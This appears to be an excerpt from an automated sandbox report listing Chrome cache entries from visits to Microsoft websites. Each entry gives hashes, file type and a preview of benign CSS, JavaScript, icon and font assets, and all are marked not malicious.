Preview:	...........m[.8.0........OL....;w.....a.....\N.......h.r~........=........,..JU.......T~.l..?..y..2.X9.\|xvP9...TN.......?.....qe.OE.~Gn,.J.T....0......r..#.V&Qx_I.De.._.8.+S?N..HL..J......%O..S........(=.gO.\|.T.0......6.. ..y....x....8..p.T"1...\|$.Cz..V.D%.Ie.F....^."..5....c...?..T8..._..b.gs.4....S]kDZ..7.J.V..l}..?.....c...g.A...8.......8.VB......^..f..O.... ...`...H.{.$. OP..S..AC.gVE.I8..).-U.....R...A..%.T[...Fc{..49..If...y.'w.Q}..oz..v.....W...pp..%..G.+.r:.A......[.:..s.?U......_............k.y0.U....+I5..0.>.Q%.".w.....O....5w..;.;.>..mr.k53r.......k.0.I.<.D......d&...c..jhE..zx.]....y\|W....i...`.. .k.P...@.Uq.\;..1............z\|.O..Y5..........XtR,....R...k3..<..\.2.>.;T..$...kj.5-.i?/..YH`!jb..Z..=.&.L..F...([..y....K5pzQ.>i.1.......0..P...@...L.".n.x..Cj?..w.:+...n..4..H.. .....S.....h....8....v.l.[M.0..q..c;.....0..*.8.......l.TM..n "..km..S.<.T..].k.+1.....P.V...4-W.C....0-/.S;.w......K.z+...DZ....=q.E.@ .Dv.z...@.d.#tE...

Chrome Cache Entry: 395

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (59832)
Category:	dropped
Size (bytes):	99505
Entropy (8bit):	5.20600737523251
Encrypted:	false
SSDEEP:	1536:ixTfTfE8PWCgGDbn5lHij6D4/55p2/y+XlkpttBJjm:ixTfTfE8uCPIJkSm
MD5:	895E2A12062F1EE44D7D72D266904BDE
SHA1:	896B8B40961C524472FB84C4760160267A3B89A6
SHA-256:	D2AEA4BA12C00A853C03EB8EA9575338D1A21D15314B39B9A7AA039016E6FC93
SHA-512:	5673B54ECFF13BB7263EA98A554B8DEB04C5C2151B164F0A3A1411D9BB624C0395147D618C7C3381F263EAF5EECAA0E7EDC479DB9ABDC1A611110C2DC4610D2A
Malicious:	false
Preview:	// *************************************.// config file for at.js lib.//************************************************************************.// SET TARGET PROPERTY HERE:.const at_property = window.cas.exp.target.propertyToken; // Workspace Name.// *************************************************************************.! function () {. window.tt_getCookie = function (t) {. var e = RegExp(t + "[^;]+").exec(document.cookie);. return decodeURIComponent(e ? e.toString().replace(/^[^=]+./, "") : ""). }. var t = tt_getCookie("MC1"),. e = tt_getCookie("MSFPC");. function o(t) {. return t.split("=")[1].slice(0, 32). }. var n = "";. if ("" != t) n = o(t);. else if ("" != e) n = o(e);. if (n.length > 0) var r = n;. if (n.length > 0 && at_property != "") {. window.targetPageParams = function () {. return {. "mbox3rdPartyId": r,. "at_property": at_property,. ...(win

Chrome Cache Entry: 396

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (442)
Category:	downloaded
Size (bytes):	4206
Entropy (8bit):	5.149477471473544
Encrypted:	false
SSDEEP:	96:bV8irqJfqdqD7c1QkE5vYLXWOXblopFB5nj6Fcw:huYvE1YCOWrB6D
MD5:	7E4C571D7EEBB658AE1F491FB0F54362
SHA1:	934C3B0A597A0559EB7B8470C066F68CD916210A
SHA-256:	3295588A9D0267946056C879C46878AA357C4EE45AA2459F3D278905062B9655
SHA-512:	5C067C563B7C00D2081691F28EA33DFA7BF7A3B48E6F1239B58261C0B5BD8E3917CA881E3E68717D93D521F140C4F5CE24322A23ED236FCA3B2F6BB4F9194BF4
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/mlsd/clientlibs/clientlib-site.min.ACSHASH7e4c571d7eebb658ae1f491fb0f54362.css
Preview:	.MLSD .border-radius-8px{border-radius:8px}..MLSD .border-radius-4px{border-radius:4px}..MLSD .border-radius-img img{border-radius:8px}..MLSD .mlsd-articles-2col-r.col-md-4 .content-card .row.row-cols-1.row-cols-md-2 .col{flex:0 0 100%;max-width:100%;padding-bottom:3rem}..MLSD .cards-without-image .card-group>.card{padding:7rem 2em}..MLSD .container .sticky-tabs .container{width:100%;padding:0}..MLSD .col-md-8 .richtext ol li,.MLSD .col-md-8 .richtext ul li{padding-bottom:10px}.#uhf-footer.c-uhff{margin-top:0}..MLSD .mlsd-compare-chart .compare-chart{overflow-x:hidden !important}..font-w-normal{font-weight:normal !important}..font-w-600{font-weight:600 !important}..font-w-900{font-weight:900 !important}..color-light-for-mobile .card-body,.color-light-for-mobile .card-body a{color:#fff !important}..color-dark-for-mobile .card-body,.color-dark-for-mobile .card-body a{color:#000 !important}..color-grey-for-mobile .card-body,.color-grey-for-mobile .card-body a{color:#808080 !important}.@me

Chrome Cache Entry: 397

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4873), with no line terminators
Category:	downloaded
Size (bytes):	4873
Entropy (8bit):	5.2268236765669895
Encrypted:	false
SSDEEP:	96:p6+5cDrFRe+/zH/pMWtPfHGHPiBwXA4nHjnwwX8ntj29X8nvDMwtKcDneTbZoDy:k+5cDrFQO7pMWtPfmHPiBwXznHjnwwXp
MD5:	ED927CF0F8A1BE103DF48446270416EE
SHA1:	F7B2BE7FC2B063AAC03E76DF9F3E19D615970213
SHA-256:	EBDD298DFD39A35E5F54469F12953081A17CBEA55F3A4A79C0FD4997D804F7D5
SHA-512:	FCA692C8C7B104FB00C2E6D90C1A0D52A0FF93CDA626338D8FA114A0E9DCE2504DF9282868F98A46648A6E616A96ACD14CAD0460D72477421C8F5EE8F7D34256
Malicious:	false
URL:	https://support.microsoft.com/css/MeControlCallout/teaching-callout.css?v=690pjf05o15fVEafEpUwgaF8vqVfOkp5wP1Jl9gE99U
Preview:	.teachingCalloutPopover{position:absolute;z-index:10000;top:45px;width:336px;right:2vw;color:#000;background-color:#fff;border:1px solid #000;box-sizing:content-box}.teachingCalloutPopover .caretArrow{position:absolute;display:block;width:1rem;height:.5rem;margin:0 .3rem}.teachingCalloutPopover .caretArrow::before{position:absolute;display:block;content:"";border-color:transparent;border-style:solid}.teachingCalloutPopover .caretArrow::after{position:absolute;display:block;content:"";border-color:transparent;border-style:solid}.teachingCalloutPopover .caretArrowPosition{left:215px}.teachingCalloutPopover .win-icon{font-family:"Dev Center MDL2 Assets";font-style:normal;font-weight:normal;line-height:1;position:relative;top:1px;display:inline-block;vertical-align:baseline;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}#teachingCalloutDismiss,#teachingCalloutMessages{color:#000}.teachingCalloutHidden{visibility:hidden}.calloutMessageHidden{display:none}.caretArrowUp{

Chrome Cache Entry: 398

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65460)
Category:	dropped
Size (bytes):	566897
Entropy (8bit):	5.427009136389396
Encrypted:	false
SSDEEP:	6144:XU3oul3BmWRE2cXXB6l4QK/AAcRDsEbXiTMTyMm6KfjzVV/2GrKJB:XQY22kuQ4PJV/2GrKJB
MD5:	C0BB28600CF931A17482376C5E27CABE
SHA1:	3C9B65F94334C9312F168AC51D2067D07DB3A619
SHA-256:	70EB3BBB025DC4C9CB7F7297EF68B928E4A7D9F77F8B60BD4DE6C526CF195464
SHA-512:	5957C114E0A04A949C6B8D8C104F62D810079DA249B87C8E5D3183AD7E57A4B2657C9C7BE8C87FC990754FFD8B30BEC8719A1279AB7B6ECEB114D12690007268
Malicious:	false
Preview:	/! For license information please see ucsCreativeService.js.LICENSE.txt /.!function(){var e={646:function(e,t,n){"use strict";function r(e){o.length\|\|(i(),!0),o[o.length]=e}e.exports=r;var i,o=[],a=0,u=1024;function c(){for(;a<o.length;){var e=a;if(a+=1,o[e].call(),a>u){for(var t=0,n=o.length-a;t<n;t++)o[t]=o[t+a];o.length-=a,a=0}}o.length=0,a=0,!1}var l="undefined"!==typeof n.g?n.g:self,s=l.MutationObserver\|\|l.WebKitMutationObserver;function f(e){return function(){var t=setTimeout(r,0),n=setInterval(r,50);function r(){clearTimeout(t),clearInterval(n),e()}}}i="function"===typeof s?function(e){var t=1,n=new s(e),r=document.createTextNode("");return n.observe(r,{characterData:!0}),function(){t=-t,r.data=t}}(c):f(c),r.requestFlush=i,r.makeRequestCallFromTimer=f},2277:function(e,t){var n;!function(){"use strict";var r={}.hasOwnProperty;function i(){for(var e=[],t=0;t<arguments.length;t++){var n=arguments[t];if(n){var o=typeof n;if("string"===o\|\|"number"===o)e.push(n);else if(Array.isArra

Chrome Cache Entry: 399

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2824)
Category:	dropped
Size (bytes):	2874
Entropy (8bit):	5.196998647096783
Encrypted:	false
SSDEEP:	48:9gqOZplvxm+DnZAKXJJRfhFSenR0waxOf5S6Yi29fJXWcE0129fJBBnfK5DxZ:ZOZvoknZr1P3tCOfV29v29zpIDxZ
MD5:	78C4311E4D7A1AFDE2EC6FB093FE40A2
SHA1:	FB9A1881E03ADF12A393759606FF384F847A52A8
SHA-256:	2CA909B3DA6E4A4FC7FD3C9DD490C4DB45435C995177AA5D7D154852EFD69E25
SHA-512:	8736EA1BD4C1DB34FEE9C3B71753D986FFD56129C12C3D3B3C41B920936C13DFFA59E887FC50A6D6AF33C74A9CAD1531FCCBD9620AE0C1AE2FA3C8BF455465AE
Malicious:	false
Preview:	!function(){"use strict";var t,n,e,o;function i(t,n){var e,o,i,r;"object"==typeof window.top.analytics&&(t.behavior=null===(o=null===(e=window.top)\|\|void 0===e?void 0:e.oneDS)\|\|void 0===o?void 0:o.Behavior[n],null===(r=null===(i=window.top)\|\|void 0===i?void 0:i.analytics)\|\|void 0===r\|\|r.captureContentUpdate(t))}(e=t\|\|(t={})).None="None",e.EU="EU",function(t){t[t.Undefined=0]="Undefined",t[t.MinorWithoutParentalConsent=1]="MinorWithoutParentalConsent",t[t.MinorWithParentalConsent=2]="MinorWithParentalConsent",t[t.Adult=3]="Adult",t[t.NotAdult=4]="NotAdult",t[t.MinorNoParentalConsentRequired=5]="MinorNoParentalConsentRequired"}(n\|\|(n={})),function(t){t.Impression="IMPRESSION",t.SignIn="SIGNIN"}(o\|\|(o={}));var r,l=function(){return l=Object.assign\|\|function(t){for(var n,e=1,o=arguments.length;e<o;e++)for(var i in n=arguments[e])Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i]);return t},l.apply(this,arguments)};function d(){var t=window.top.document.getElementById("iframeOP");return"

Chrome Cache Entry: 400

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (45900)
Category:	dropped
Size (bytes):	45963
Entropy (8bit):	5.396725281317118
Encrypted:	false
SSDEEP:	768:H/eCtKv79zpXXfoJLjtK8Dx1DieS3i8eqUvdX:W/vXQJJDD27W
MD5:	F00CFBA8F9859DFEFDFE90EA520C6FCF
SHA1:	B32E153588A287DE81050E327EB5BD7A90B04D99
SHA-256:	977CC9882BA50763333DF64E98D26BC3C60A15D6EFA4A2C1FE70579985EDDF84
SHA-512:	DA51FAB6D6A6B05A1730FB97656A496870FE1248616BC3F9DDBE101D1C189B6BEC7CAF63976418F88843AFA64763D25542787116FFE0E43E35BF3DCE61914DAB
Malicious:	false
Preview:	!function(){var t={8488:function(t,e,n){var r=n(2746);t.exports=r},3104:function(t,e,n){var r=n(7273);t.exports=r},6564:function(t,e,n){var r=n(2445),o=n(3478),i=n(7269),a=r.TypeError;t.exports=function(t){if(o(t))return t;throw a(i(t)+" is not a function")}},5719:function(t,e,n){var r=n(2445),o=n(3478),i=r.String,a=r.TypeError;t.exports=function(t){if("object"==typeof t\|\|o(t))return t;throw a("Can't set "+i(t)+" as a prototype")}},1313:function(t,e,n){var r=n(4486),o=n(6635),i=n(9783),a=r("unscopables"),u=Array.prototype;null==u[a]&&i.f(u,a,{configurable:!0,value:o(null)}),t.exports=function(t){u[a][t]=!0}},3855:function(t,e,n){var r=n(2445),o=n(7455),i=r.TypeError;t.exports=function(t,e){if(o(e,t))return t;throw i("Incorrect invocation")}},4482:function(t,e,n){var r=n(2445),o=n(3406),i=r.String,a=r.TypeError;t.exports=function(t){if(o(t))return t;throw a(i(t)+" is not an object")}},3410:function(t,e,n){"use strict";var r=n(2445),o=n(6981),i=n(5633),a=n(2048),u=n(7065),s=n(1977),c=n(9

Chrome Cache Entry: 401

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (367), with no line terminators
Category:	downloaded
Size (bytes):	367
Entropy (8bit):	4.9898089353102595
Encrypted:	false
SSDEEP:	6:Q3RnadmyWRLnadIrM9nadYErmC+LGI1nadmWYElnH0IASS3c7swWJ/cxGPvZ/c8e:cYdIRGdIg8dlHEGIUd4Eh0IA1cbWNb9u
MD5:	F81E446FAC9DB5FB37845DD4E069AE27
SHA1:	DE12C417D44EC6A6AC52D5D41BBB35CE8C9A2097
SHA-256:	CD4B2B854F0E1BF350B4E61D015794D0F33A0B187A0C78912085E4DB1CD65F0B
SHA-512:	E13DDEDB6117E516E4278E4F1B6AA80DD62EAF8966E64F5D45D452D85FE2AAD990D770101934BC12AA37B4CDF8D3B3B86DDBD116B53E7C1AE1BFD73AA9C18584
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/microsoft/components/content/back-to-top-button/v1/back-to-top-button/clientlibs/sites.min.ACSHASHf81e446fac9db5fb37845dd4e069ae27.js
Preview:	'use strict';$(function(){var a=document.querySelector("#msChatContainer"),b=document.querySelector(".back-to-top.sticky"),c=document.querySelector(".fixed-back-to-top.fixed-sticky"),d=!(!document.querySelector("#storeassistantroot")\|\|!window.storeAssistantReactJsLib);a&&b&&!d&&$(b).addClass("pageHasChatContainer");a&&c&&!d&&$(c).addClass("pageHasChatContainer")});

Chrome Cache Entry: 402

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (34235), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	100769
Entropy (8bit):	5.246112939487446
Encrypted:	false
SSDEEP:	3072:nmwNxXC4Pn+lnTKxKdzW7I1m7H+8l9ut+EVe/EdnoEnsJ:mwFwTXqwe/EdnoEnsJ
MD5:	6FE3DD83A0D98BC1977F57EA33C37693
SHA1:	8DF606F40E4CC8C07CE929D5A82FD5304EAF4EB7
SHA-256:	A5268A183F2A091D2D17773997E89A25FC45CBD60E586EDF61F544FB85D6F6A8
SHA-512:	B81C2EB3BFA8ECF1FFCBB24E4A776CD2B083460A0AC53213EAF48997AC27BB20F49CEFF3A098AEBA33B3AD4F74CA86B5018AFE6689A260F011DF4249029CE78B
Malicious:	false
URL:	https://mem.gfx.ms/scripts/me/MeControl/10.24228.4/en-US/meCore.min.js
Preview:	MeControlDefine("meCore",["exports","@mecontrol/web-inline","@mecontrol/web-boot"],function(e,f,h){"use strict";var r=function(e,t){return(r=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])})(e,t)};function t(e,t){function n(){this.constructor=e}r(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)}var d=function(){return(d=Object.assign\|\|function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var o in t=arguments[n])Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o]);return e}).apply(this,arguments)},s=function(){},i={},u=[],l=[];function v(e,t){var n,r,o,i,a=l;for(i=arguments.length;2<i--;)u.push(arguments[i]);for(t&&null!=t.children&&(u.length\|\|u.push(t.children),delete t.children);u.length;)if((r=u.pop())&&void 0!==r.pop)for(i=r.length;i--;)u.push(r[i]);else"boolean"==typeof r&&(r=null),(o="function"!=typeof e)&&(null==r?r="":"number"==typeof r?r=String(r):"s

Chrome Cache Entry: 403

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://www.microsoft.com/favicon.ico?v2
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 404

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 297 x 166, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6270
Entropy (8bit):	7.945330124411617
Encrypted:	false
SSDEEP:	192:zS7+uH6tmhCSqN0K4Wykh3YMBYpAjav+tlXQ:m7vHqS9WyiooqSa2m
MD5:	5C04A186E00E47C2F90ED18E03AB4093
SHA1:	AC859795B92E3FA0FA88868AF532A3ED6F30F12A
SHA-256:	1A16DBCD6926721D9C3AEB85429586B307F11D2093CF9AEEFDAA37898CB74D46
SHA-512:	909830B01A21E61D98ADF1C61DFC44BD414CF03C51250A9DD7B5C26FB12D6334D984A21F25B5ED089FFDED4CAAA764579EEA317470C8616B7928E989B1A1778A
Malicious:	false
Preview:	.PNG........IHDR...)...........y;....pHYs.................sRGB.........gAMA......a.....IDATx...._S...SE4....&..DE0(.e.&jb...h....C..b,.i.na.2pI.P"H.!. ZB....w.~..g_._..$'.....>...k..p.....z............:.x...l...:.g.u.......Fz..I..Sh.......T..L)}.c..e.T1.........OL..T,\N\..K4.57.......{./.yR.H.JlQ......@..b...TAT.....)6.0-."... .&..:K.d]1L...R..lJ.......:.....9.\|?}..........g..K..._.R....bk.i..E..K.%`...O....i..E.U....J.L.v.\|..a........bV.jY.>3...M.$R......T.J.....(:......z..L..E5".w.wl.w.g.A1..E.\|.......[a...g..T.....J...U.z..\|.l)..8..U..kp.cR........T...1..l.n\|.i....5...k.j...q.F.}.E/#.j...D....T....3'..^.^:.4.Z....K.`..c@9.Y.=S.W..t..=&.Z.G.R-....%f..xG...".../l.....[.WTw/er#..I.....L.>..R\.........!..U. .5...C.ol.0%....=.....L..B..L..9.&..c.O%T\|..h........egj?A......&...-*.X......;p...nf....T.....,bea.bj#.%....1..0L(Q.... ..sL..P...E.cX%.e...v.SQ".njw...:.>...\.%...b[T..cn'.#Z..i...C..%CX."....ej<.Q.LB......u.(.....E.?.'sR...DN

Chrome Cache Entry: 405

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.625
Encrypted:	false
SSDEEP:	3:Hfn:/n
MD5:	BEB5075867AC37A3C8903AB23A5ABA22
SHA1:	86A41106441F795558A31574CBD24D5403E2F054
SHA-256:	BD38B37956C818D4084814F47B69B7798F07AF7889D3D13DEBBD2D76ECB86095
SHA-512:	976D88CFEF9792BC882CA8BB7F7F784BB97EA2046999D67C43DD4C2391943238BF9EE3DECD50DC2495829E65E9281D999E1272B188B489B1AFF59AECEE3E139A
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAkV74dSiH35ARIFDel_Cl4=?alt=proto
Preview:	CgkKBw3pfwpeGgA=

Chrome Cache Entry: 406

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	184
Entropy (8bit):	4.7576002313728605
Encrypted:	false
SSDEEP:	3:iAE3BMiX4RXBMgX/UfVgVISfKxW4qUu5UtgseBWBZ8VNZOjmeJRNnXE1V+o+:iAE36iIsgP0KOFMLs9cVNKmV+o+
MD5:	8396009A793FDA25F0AD1C495EC773F4
SHA1:	C0143C8B9F459323B1AE10D739835E5C8546DC0D
SHA-256:	D660C1B711D4F046EC54D6681BF6B8664875AFA538957C7A9A874A9D09001D4F
SHA-512:	C11201AF295FB01B5B585CB3BE448E0573ED5B96C4FB24B2E63809CDE741D2B1903F00FCA14F760262E7045C6FAC47545C4B3D4E45F94A4C28C51B59AD6ECC38
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/microsoft/components/content/areaheading/v1/areaheading/clientlibs/site.min.ACSHASH8396009a793fda25f0ad1c495ec773f4.css
Preview:	.areaheading .sr-text{border:0;clip:rect(1px,1px,1px,1px);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal !important}

Chrome Cache Entry: 407

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 36748, version 0.0
Category:	downloaded
Size (bytes):	36748
Entropy (8bit):	7.993571055882259
Encrypted:	true
SSDEEP:	768:J1RjXb4nQ5CZV6qEfz1mfNwUcf0Rn//WAlsuqjCf8qs2opmUrYSRc:RXEnQ5fzAlVe0R//WAx7b//Uxc
MD5:	88749B8058F99835F5A6B87FCC9CEDA1
SHA1:	A491726E067475E187E270D4469A96E016BD30A7
SHA-256:	F447D199F99F6EC55B5308B737A69F384032D3D0C1D05FBC41782AA50ECEB92C
SHA-512:	D595CC3E4220CB879389138D34B2DFBC9DC40EA5E83A81944FA73CBDFBBFC70D53285F8A11CEB921F55C7171EFB4A1242AE1819F0A505C0ECA06772357B2AF65
Malicious:	false
URL:	https://support.microsoft.com/css/fonts/support-icons/fluent/latest_v1_95.woff2
Preview:	wOF2..............M....<.........................`..b........W.6.$..<..4.. ..X. [..QD`...P.<DT.~X..I...."!........_..M\|..\|[.'...FR.EH?b......0...J.....k...K.....[...1ir.x.I)\H...0..8q..... i....u.~..1...F..Cd........px~.=%..D.H.....(..@A......N..p.\.v...m..[.nkW...m...O]....6.7.;.'$....D.4..q.?.E.\%5S.UjB...V)..x...Y.C.........o....j..4@r..P{.H......f.....8 ..Q....(......f..8p....\d.....R.4......m........%r.K.....F3..I...!.k8r.d{4.OD&...0...r..B.2e.4u.....Q._...lR.v...F..p...J%IQ.j.....alI.D..&.?..... .N...Z=...G.%..o.N..I6.."u.j._.!...N..L...).&I...../..N.n......J].%....5.p.H.#+..dw..".h.."..O...i.D.TI..I.&.J...%g..-Y,.-.-',O.....y.gm.l3m+......Q..Q..P..Q....m......0.#0..1.........q.wp.....'..#.(..L...SQ*I...5..4.6.f.M.....ct.....E.......$9.K..sRN.i8...\.+s5..-.+...<.G....3x=o...^.e-YG....&.G......B.R..".W.S..C.X.W.UT..t=.H7..X=W...Z.]......T'LR...05L]...7#.....7........>.>..Q....q.q..Y.peu.s.pmq.u..4.,.\.....g.t..........DB.!.<v..\|R..E.G.E.]5.

Chrome Cache Entry: 408

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (26071), with no line terminators
Category:	downloaded
Size (bytes):	26086
Entropy (8bit):	5.432818104736514
Encrypted:	false
SSDEEP:	384:us282x+ZOj5jMGgKAztoDx3SF/uuRcFoyJD53QDCMkDoEo91YGtua6ca+D+oOLcG:arB/0FxO4Qcr9SGYafV5G
MD5:	A923FB946929633E387E4D2017006546
SHA1:	84D3DCF57A9EF34EA731A1B28F9ECE4B0B267A08
SHA-256:	67A664918FD7F224CCE362DB7078440CD693E1EF6B30EFF33C06F112C17102FA
SHA-512:	A974D3511DD1ED3197BC6A90F9561CDB83120E99D8276C38E32C79005E59C5C7048C8652E3DF5A1DB06191B3B6793A4C75A5C2060CC12ACB36D1E6F31C2E6BFB
Malicious:	false
URL:	https://support.microsoft.com/css/Article/css.css?v=Z6ZkkY_X8iTM42LbcHhEDNaT4e9rMO_zPAbxEsFxAvo
Preview:	.@media screen{-ms-viewport{width:device-width}}@media screen and (-ms-high-contrast: active){textarea[placeholder],input[type=search][placeholder],input[type=text][placeholder]{border-color:WindowText}}header,footer,hgroup,nav,section{display:block}.font-bold{font-weight:600}.ocHidden{display:none !important}.clear-fix:after{content:".";clear:both;display:block;height:0;visibility:hidden}input{-webkit-appearance:none;-webkit-border-radius:0}#obf-EmailCheckBox,#obf-BasicFormScreenshotCheckbox{-webkit-appearance:revert}.content-wrapper{margin:0 auto;width:100%}.main-content,.ocFB,#ocAsstHelp{font-size:62.5%}.main-content #ocAsstHelp{font-size:100%}#product,#home,#category,#endnode{min-width:1220px;margin-top:10px}#endnode{margin-top:0}#universal-header-search-auto-suggest-transparent,.f-auto-suggest-no-results.f-auto-suggest-no-results{display:none}.grd{display:block;position:relative;width:90%;margin:0 auto;max-width:1440px;padding:0 1em;padding:0 1vw}.grd *{box-sizing:border-box}.gr

Chrome Cache Entry: 409

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	406
Entropy (8bit):	4.645093417199183
Encrypted:	false
SSDEEP:	12:M9BAG1/qAT9BAs1/qKdDYT9BAR6T9BAOk/CMRZcJfRDZ:M9p/qS91/qfT9J9yRC5N
MD5:	F9F2395C582FA601707B7A5DFAE9F05F
SHA1:	27B15AECD0BFDD3B25556AC00755856D4D331E0D
SHA-256:	D7D6D06624D4BDF6935B848DF342CE322D02B58D12BF12149DF92D557E5E9BC4
SHA-512:	F3378927D96B0B172981A821A8C2A16D0F397ED92E835B7C46316FC48350402D972A5411F0FA4C260F205AA1F7917F83F8247BF8A62C7F22E0076B168275B1E9
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/cascade.component.authoring/clientlibs/clientlib-uhf.min.ACSHASHf9f2395c582fa601707b7a5dfae9f05f.css
Preview:	.c-uhfh .c-action-trigger.glyph-shopping-cart span:not(.shopping-cart-amount),.c-uhfh .c-action-trigger.glyph-shopping-bag span:not(.shopping-cart-amount){line-height:48px !important}..c-uhfh .c-action-trigger.glyph-shopping-cart:after,.c-uhfh .c-action-trigger.glyph-shopping-bag:after{line-height:43px}..c-uhfh.c-sgl-stck .c-search button{line-height:18px}..msame_Header_name{line-height:44px !important}

Chrome Cache Entry: 410

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65460)
Category:	downloaded
Size (bytes):	566897
Entropy (8bit):	5.427009136389396
Encrypted:	false
SSDEEP:	6144:XU3oul3BmWRE2cXXB6l4QK/AAcRDsEbXiTMTyMm6KfjzVV/2GrKJB:XQY22kuQ4PJV/2GrKJB
MD5:	C0BB28600CF931A17482376C5E27CABE
SHA1:	3C9B65F94334C9312F168AC51D2067D07DB3A619
SHA-256:	70EB3BBB025DC4C9CB7F7297EF68B928E4A7D9F77F8B60BD4DE6C526CF195464
SHA-512:	5957C114E0A04A949C6B8D8C104F62D810079DA249B87C8E5D3183AD7E57A4B2657C9C7BE8C87FC990754FFD8B30BEC8719A1279AB7B6ECEB114D12690007268
Malicious:	false
URL:	https://support.microsoft.com/lib/ucs/dist/ucsCreativeService.js?v=cOs7uwJdxMnLf3KX72i5KOSn2fd_i2C9TebFJs8ZVGQ
Preview:	/! For license information please see ucsCreativeService.js.LICENSE.txt /.!function(){var e={646:function(e,t,n){"use strict";function r(e){o.length\|\|(i(),!0),o[o.length]=e}e.exports=r;var i,o=[],a=0,u=1024;function c(){for(;a<o.length;){var e=a;if(a+=1,o[e].call(),a>u){for(var t=0,n=o.length-a;t<n;t++)o[t]=o[t+a];o.length-=a,a=0}}o.length=0,a=0,!1}var l="undefined"!==typeof n.g?n.g:self,s=l.MutationObserver\|\|l.WebKitMutationObserver;function f(e){return function(){var t=setTimeout(r,0),n=setInterval(r,50);function r(){clearTimeout(t),clearInterval(n),e()}}}i="function"===typeof s?function(e){var t=1,n=new s(e),r=document.createTextNode("");return n.observe(r,{characterData:!0}),function(){t=-t,r.data=t}}(c):f(c),r.requestFlush=i,r.makeRequestCallFromTimer=f},2277:function(e,t){var n;!function(){"use strict";var r={}.hasOwnProperty;function i(){for(var e=[],t=0;t<arguments.length;t++){var n=arguments[t];if(n){var o=typeof n;if("string"===o\|\|"number"===o)e.push(n);else if(Array.isArra

Chrome Cache Entry: 411

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	106
Entropy (8bit):	4.458110094106728
Encrypted:	false
SSDEEP:	3:tM2Vx6IUARGvdMFev/KKgJWnLgsMoiFiAn:tZViARGvqeqrJWn6omiAn
MD5:	0FA38DB43EB641C9AC1CA868CE3D294F
SHA1:	ED3CC5587BAFFD322B16002184FC8581929A953F
SHA-256:	81EC0312140FFDCF5216A8F1336E2D5909896CD0AAED9E22E60F3BFE7F78B798
